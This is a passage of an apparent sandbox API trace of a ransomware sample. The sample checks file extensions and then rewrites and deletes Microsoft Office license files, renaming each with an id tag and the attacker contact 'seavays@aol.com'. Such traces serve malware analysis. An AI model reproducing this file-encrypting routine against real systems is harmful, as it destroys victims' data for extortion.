Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0197.621] lstrlenW (lpString=".zip") returned 4 [0197.621] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.621] lstrlenW (lpString=".rar") returned 4 [0197.621] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.621] lstrlenW (lpString=".bz2") returned 4 [0197.621] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.621] lstrlenW (lpString=".7z") returned 3 [0197.621] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0197.621] lstrlenW (lpString=".dbf") returned 4 [0197.621] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0197.621] lstrlenW (lpString=".1cd") returned 4 [0197.621] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0197.621] lstrlenW (lpString=".jpg") returned 4 [0197.621] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.622] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.623] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0197.624] GetLastError () returned 0x0 [0197.624] ReadFile (in: hFile=0x54c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0197.629] WriteFile (in: hFile=0x544, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0197.630] ReadFile (in: hFile=0x54c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.630] WriteFile (in: hFile=0x544, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x11e, lpOverlapped=0x0) returned 1 [0197.631] SetEndOfFile (hFile=0x544) returned 1 [0197.631] CloseHandle (hObject=0x544) returned 1 [0197.631] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.631] SetEndOfFile (hFile=0x54c) returned 1 [0197.634] CloseHandle (hObject=0x54c) returned 1 [0197.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-pl.xrm-ms")) returned 1 [0197.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0197.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0197.637] lstrlenW (lpString=".doc") returned 4 [0197.637] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.637] lstrlenW (lpString=".docx") returned 5 [0197.637] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.637] lstrlenW (lpString=".pdf") returned 4 [0197.637] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.637] lstrlenW (lpString=".xls") returned 4 [0197.637] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.637] lstrlenW (lpString=".xlsx") returned 5 [0197.637] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.637] lstrlenW (lpString=".ppt") returned 4 [0197.637] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0197.637] lstrlenW (lpString=".zip") returned 4 [0197.637] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.637] lstrlenW (lpString=".rar") returned 4 [0197.637] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.637] lstrlenW (lpString=".bz2") returned 4 [0197.637] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.637] lstrlenW (lpString=".7z") returned 3 [0197.637] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0197.637] lstrlenW (lpString=".dbf") returned 4 [0197.637] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0197.638] lstrlenW (lpString=".1cd") returned 4 [0197.638] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-pl.xrm-ms") returned 87 [0197.638] lstrlenW (lpString=".jpg") returned 4 [0197.638] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.639] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.639] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0197.640] GetLastError () returned 0x0 [0197.641] ReadFile (in: hFile=0x54c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x67ad, lpOverlapped=0x0) returned 1 [0197.644] WriteFile (in: hFile=0x544, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0197.646] ReadFile (in: hFile=0x54c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.646] WriteFile (in: hFile=0x544, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x120, lpOverlapped=0x0) returned 1 [0197.646] SetEndOfFile (hFile=0x544) returned 1 [0197.646] CloseHandle (hObject=0x544) returned 1 [0197.646] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.646] SetEndOfFile (hFile=0x54c) returned 1 [0197.948] CloseHandle (hObject=0x54c) returned 1 [0197.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ppd.xrm-ms")) returned 1 [0198.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0198.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0198.097] lstrlenW (lpString=".doc") returned 4 [0198.097] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.097] lstrlenW (lpString=".docx") returned 5 [0198.097] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.097] lstrlenW (lpString=".pdf") returned 4 [0198.097] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.097] lstrlenW (lpString=".xls") returned 4 [0198.097] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.097] lstrlenW (lpString=".xlsx") returned 5 [0198.097] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.097] lstrlenW (lpString=".ppt") returned 4 [0198.097] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0198.097] lstrlenW (lpString=".zip") returned 4 [0198.097] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.097] lstrlenW (lpString=".rar") returned 4 [0198.097] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.097] lstrlenW (lpString=".bz2") returned 4 [0198.097] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.097] lstrlenW (lpString=".7z") returned 3 [0198.097] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0198.097] lstrlenW (lpString=".dbf") returned 4 [0198.097] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0198.097] lstrlenW (lpString=".1cd") returned 4 [0198.097] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ppd.xrm-ms") returned 88 [0198.097] lstrlenW (lpString=".jpg") returned 4 [0198.097] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.099] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.099] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0198.100] GetLastError () returned 0x0 [0198.100] ReadFile (in: hFile=0x44c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0198.103] WriteFile (in: hFile=0x488, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0198.105] ReadFile (in: hFile=0x44c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.105] WriteFile (in: hFile=0x488, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x11c, lpOverlapped=0x0) returned 1 [0198.105] SetEndOfFile (hFile=0x488) returned 1 [0198.105] CloseHandle (hObject=0x488) returned 1 [0198.106] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.106] SetEndOfFile (hFile=0x44c) returned 1 [0198.109] CloseHandle (hObject=0x44c) returned 1 [0198.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms")) returned 1 [0198.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0198.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0198.111] lstrlenW (lpString=".doc") returned 4 [0198.111] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.111] lstrlenW (lpString=".docx") returned 5 [0198.111] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.111] lstrlenW (lpString=".pdf") returned 4 [0198.111] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.111] lstrlenW (lpString=".xls") returned 4 [0198.111] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.111] lstrlenW (lpString=".xlsx") returned 5 [0198.111] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.111] lstrlenW (lpString=".ppt") returned 4 [0198.111] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0198.111] lstrlenW (lpString=".zip") returned 4 [0198.111] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.111] lstrlenW (lpString=".rar") returned 4 [0198.111] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.111] lstrlenW (lpString=".bz2") returned 4 [0198.111] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.111] lstrlenW (lpString=".7z") returned 3 [0198.111] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0198.111] lstrlenW (lpString=".dbf") returned 4 [0198.111] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0198.112] lstrlenW (lpString=".1cd") returned 4 [0198.112] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86 [0198.112] lstrlenW (lpString=".jpg") returned 4 [0198.112] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.113] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.113] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0198.114] GetLastError () returned 0x0 [0198.114] ReadFile (in: hFile=0x44c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0198.116] WriteFile (in: hFile=0x488, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0198.117] ReadFile (in: hFile=0x44c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.117] WriteFile (in: hFile=0x488, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x114, lpOverlapped=0x0) returned 1 [0198.117] SetEndOfFile (hFile=0x488) returned 1 [0198.117] CloseHandle (hObject=0x488) returned 1 [0198.118] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.118] SetEndOfFile (hFile=0x44c) returned 1 [0198.121] CloseHandle (hObject=0x44c) returned 1 [0198.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms")) returned 1 [0198.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0198.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0198.122] lstrlenW (lpString=".doc") returned 4 [0198.122] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.122] lstrlenW (lpString=".docx") returned 5 [0198.122] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.123] lstrlenW (lpString=".pdf") returned 4 [0198.123] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.123] lstrlenW (lpString=".xls") returned 4 [0198.123] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.123] lstrlenW (lpString=".xlsx") returned 5 [0198.123] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.123] lstrlenW (lpString=".ppt") returned 4 [0198.123] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0198.123] lstrlenW (lpString=".zip") returned 4 [0198.123] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.123] lstrlenW (lpString=".rar") returned 4 [0198.123] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.123] lstrlenW (lpString=".bz2") returned 4 [0198.123] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.123] lstrlenW (lpString=".7z") returned 3 [0198.123] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0198.123] lstrlenW (lpString=".dbf") returned 4 [0198.123] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0198.123] lstrlenW (lpString=".1cd") returned 4 [0198.123] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms") returned 82 [0198.123] lstrlenW (lpString=".jpg") returned 4 [0198.123] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.124] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.124] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0198.128] GetLastError () returned 0x0 [0198.128] ReadFile (in: hFile=0x44c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0198.361] WriteFile (in: hFile=0x488, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0198.363] ReadFile (in: hFile=0x44c, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.363] WriteFile (in: hFile=0x488, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x116, lpOverlapped=0x0) returned 1 [0198.364] SetEndOfFile (hFile=0x488) returned 1 [0198.370] CloseHandle (hObject=0x488) returned 1 [0198.370] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.370] SetEndOfFile (hFile=0x44c) returned 1 [0198.374] CloseHandle (hObject=0x44c) returned 1 [0198.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms")) returned 1 [0198.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0198.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0198.377] lstrlenW (lpString=".doc") returned 4 [0198.377] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.377] lstrlenW (lpString=".docx") returned 5 [0198.377] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.377] lstrlenW (lpString=".pdf") returned 4 [0198.377] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.377] lstrlenW (lpString=".xls") returned 4 [0198.377] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.377] lstrlenW (lpString=".xlsx") returned 5 [0198.377] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.377] lstrlenW (lpString=".ppt") returned 4 [0198.378] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0198.378] lstrlenW (lpString=".zip") returned 4 [0198.378] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.378] lstrlenW (lpString=".rar") returned 4 [0198.378] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.378] lstrlenW (lpString=".bz2") returned 4 [0198.378] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.378] lstrlenW (lpString=".7z") returned 3 [0198.378] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0198.378] lstrlenW (lpString=".dbf") returned 4 [0198.378] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0198.378] lstrlenW (lpString=".1cd") returned 4 [0198.378] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms") returned 83 [0198.378] lstrlenW (lpString=".jpg") returned 4 [0198.378] lstrcmpiW (lpString1=".jpg", 